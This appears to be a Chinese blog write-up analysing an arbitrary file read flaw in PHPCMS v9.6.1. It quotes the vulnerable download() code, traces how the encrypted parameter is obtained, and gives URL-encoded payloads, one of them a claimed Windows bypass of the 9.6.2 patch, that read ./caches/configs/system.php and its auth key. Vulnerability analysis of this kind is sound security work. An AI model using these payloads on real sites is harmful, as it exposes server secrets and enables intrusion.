前言
phpcmsv9.6.1
ubuntu19
mysql+php5.6
写在前面
这个漏洞,除了本身的触发点外,payload的构造方法,和phpcms9.6.0构造payload方法大致一样
漏洞分析
漏洞触发的点
定位:./phpcms/modules/content/down.php::download()1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45public function download() {
$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
if(empty($a_k)) showmessage(L('illegal_parameters'));
unset($i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);
parse_str($a_k);
if(isset($i)) $downid = intval($i);
if(!isset($m)) showmessage(L('illegal_parameters'));
if(!isset($modelid)) showmessage(L('illegal_parameters'));
if(empty($f)) showmessage(L('url_invalid'));
if(!$i || $m<0) showmessage(L('illegal_parameters'));
if(!isset($t)) showmessage(L('illegal_parameters'));
if(!isset($ip)) showmessage(L('illegal_parameters'));
$starttime = intval($t);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
if(!$downid || empty($fileurl) || !preg_match("/[0-9]{10}/", $starttime) || !preg_match("/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}/", $ip) || $ip != ip()) showmessage(L('illegal_parameters'));
$endtime = SYS_TIME - $starttime;
if($endtime > 3600) showmessage(L('url_invalid'));
if($m) $fileurl = trim($s).trim($fileurl);
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
//远程文件
if(strpos($fileurl, ':/') && (strpos($fileurl, pc_base::load_config('system','upload_url')) === false)) {
header("Location: $fileurl");
} else {
if($d == 0) {
header("Location: ".$fileurl);
} else {
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
$filename = basename($fileurl);
//处理中文文件
if(preg_match("/^([\s\S]*?)([\x81-\xfe][\x40-\xfe])([\s\S]*?)/", $fileurl)) {
$filename = str_replace(array("%5C", "%2F", "%3A"), array("\\", "/", ":"), urlencode($fileurl));
$filename = urldecode(basename($filename));
}
$ext = fileext($filename);
$filename = date('Ymd_his').random(3).'.'.$ext;
$fileurl = str_replace(array('<','>'), '',$fileurl);
file_down($fileurl, $filename);
}
}
}
我们先看到file_down()函数,跟进这个函数1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18function file_down($filepath, $filename = '') {
if(!$filename) $filename = basename($filepath);
if(is_ie()) $filename = rawurlencode($filename);
$filetype = fileext($filename);
$filesize = sprintf("%u", filesize($filepath));
if(ob_get_length() !== false) @ob_end_clean();
header('Pragma: public');
header('Last-Modified: '.gmdate('D, d M Y H:i:s') . ' GMT');
header('Cache-Control: no-store, no-cache, must-revalidate');
header('Cache-Control: pre-check=0, post-check=0, max-age=0');
header('Content-Transfer-Encoding: binary');
header('Content-Encoding: none');
header('Content-type: '.$filetype);
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-length: '.$filesize);
readfile($filepath);
exit;
}
其中readfile($filepath);
,$filepath来自于传入的参数,回到download(),看看download()函数中传入的参数来自于$fileurl。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17$a_k = trim($_GET['a_k']);
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
... ...
... ...
unset($i,$m,$f,$t,$ip);
$a_k = safe_replace($a_k);
parse_str($a_k)
... ...
... ...
$fileurl = trim($f);
... ...
... ...
if($m) $fileurl = trim($s).trim($fileurl);
... ...
... ...
$fileurl = str_replace(array(pc_base::load_config('system','upload_url'),'/'), array(pc_base::load_config('system','upload_path'),DIRECTORY_SEPARATOR), $fileurl);
可以看到$fileurl来自于$s和$f的拼接,而$f和$s来自于$a_K经过parse_str()作用,$a_k,我们可控。
可以看到代码中的$pc_auth_key
这一段密文,然后$a_k来自于1
$a_k = sys_auth($a_k, 'DECODE', $pc_auth_key);
所以我们现在是需要一段通过$pc_auth_key
加密的密文,这段密文的获取,我们看到函数init()
定位:./phpcms/modules/content/down.php::init() 77行1
2
3
4if(strpos($f, 'http://') !== FALSE || strpos($f, 'ftp://') !== FALSE || strpos($f, '://') === FALSE) {
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
这里的$pc_auth_key和我们所需要的一样,并且这里提供密文$a_k,
所以我们构造$a_k,然后访问init()方法,就能达到触发漏洞的作用
分析一下$a_k,如何构造。
和之前的sql注入一个道理,我们从/phpcms/modules/attachment/attachments.php::swfupload_json()。这里就不重复说明了
这次复现,让我卡了很久的是这个payload的构造,该构造什么样的payload,传入src,才能从cookie得到正确的密文。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24swfupload_json()
$arr['src'] = safe_replace(trim($_GET['src']));
... ...
init()传入
$a_k = trim($_GET['a_k']);
... ...
$a_k = safe_replace($a_k);
parse_str($a_k);
... ...
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$_SERVER['HTTP_USER_AGENT'].'down');
$a_k = urlencode(sys_auth("i=$i&d=$d&s=$s&t=".SYS_TIME."&ip=".ip()."&m=".$m."&f=$f&modelid=".$modelid, 'ENCODE', $pc_auth_key));
$downurl = '?m=content&c=down&a=download&a_k='.$a_k;
... ...
到download()
$a_k = safe_replace($a_k);
parse_str($a_k);
... ...
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$f) || strpos($f, ":\\")!==FALSE || strpos($f,'..')!==FALSE) showmessage(L('url_error'));
$fileurl = trim($f);
... ...
if(preg_match('/(php|phtml|php3|php4|jsp|dll|asp|cer|asa|shtml|shtm|aspx|asax|cgi|fcgi|pl)(\.|$)/i',$fileurl) ) showmessage(L('url_error'));
... ...
$fileurl = str_replace(array('<','>'), '',$fileurl);
file_down($fileurl, $filename);
故而1
s=./phpcms/modules/content/down.ph&f=p%3%%25252%2*70C
参考【漏洞分析】PHPCMS V9.6.1 任意文件读取漏洞分析
官方的补丁如下,phpcms9.6.2中
在$fileurl进入file_down()之前,再进行一次正则过滤。
漏洞分析2.0
上文提到了phpcms9.6.2中给download()函数打的补丁,但是这个没啥用,在windows仍然是可以绕过的
比较两次会发现,如果我们这次再一次使用上次的payload,像xxx.php<,那么’<’被吃掉后,一般情况下是绕不过正则的。
可是trim()函数去除空白字符,是存在安全隐患的,在windows下,我们可以通过%81-%99间的字符
,%81-%99间的字符是不会被trim()去掉的且在windows中还能正常访问到相应的文件.
所以根据分析,我们此次构造的payload如下1
src=%26i=1%26m=1%26catid=1%26s=./caches/configs/system.ph%26f=p%253e%2581%26modelid=1%26d=1&aid=1
写在后面
发现自己真的不行,代码的理解能力有待提高,编程能力有待提高,啥都有待提高……加油吧……